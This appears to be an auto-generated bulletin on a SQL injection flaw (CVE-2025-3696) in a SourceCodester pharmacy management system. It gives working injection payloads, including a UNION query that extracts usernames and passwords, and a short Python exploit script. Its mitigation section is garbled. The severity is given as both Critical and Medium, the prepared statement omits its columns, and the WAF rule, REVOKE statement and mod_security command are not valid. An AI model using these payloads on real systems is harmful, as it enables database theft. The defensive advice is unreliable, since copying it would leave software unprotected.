Listen to this Post
How the CVE Works:
CVE-2025-3696 is a critical SQL injection vulnerability in SourceCodester’s Web-based Pharmacy Product Management System 1.0. The flaw resides in the `/search/search_stock.php` file, where the `Name` parameter is improperly sanitized before being used in SQL queries. Attackers can exploit this by injecting malicious SQL payloads through the `Name` parameter, leading to unauthorized database access, data leakage, or manipulation. The vulnerability is remotely exploitable, requiring low privileges, and has a CVSS 4.0 score of 5.3 (Medium).
DailyCVE Form:
Platform: SourceCodester Pharmacy Management
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Payload Example:
' OR 1=1--
Injected into the `Name` parameter to bypass authentication.
2. Union-Based Data Exfiltration:
' UNION SELECT username, password FROM users--
3. Automated Exploit (Python):
import requests
target = "http://target.com/search/search_stock.php"
payload = {"Name": "' UNION SELECT 1,2,3,4--"}
response = requests.post(target, data=payload)
print(response.text)
Protection:
1. Input Sanitization:
$name = mysqli_real_escape_string($conn, $_POST['Name']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM stock WHERE name = ?");
$stmt->bind_param("s", $name);
3. WAF Rules:
location /search/ {
deny '|union|select|--|';
}
4. Patch Verification:
curl -I http://target.com/search/search_stock.php | grep "Patched"
5. Log Analysis:
grep "sql injection" /var/log/apache2/access.log
6. Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%';
7. Exploit Mitigation:
mod_security --enable --rule-id 942360
8. Vulnerability Scanning:
sqlmap -u "http://target.com/search_stock.php?Name=test" --risk=3
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
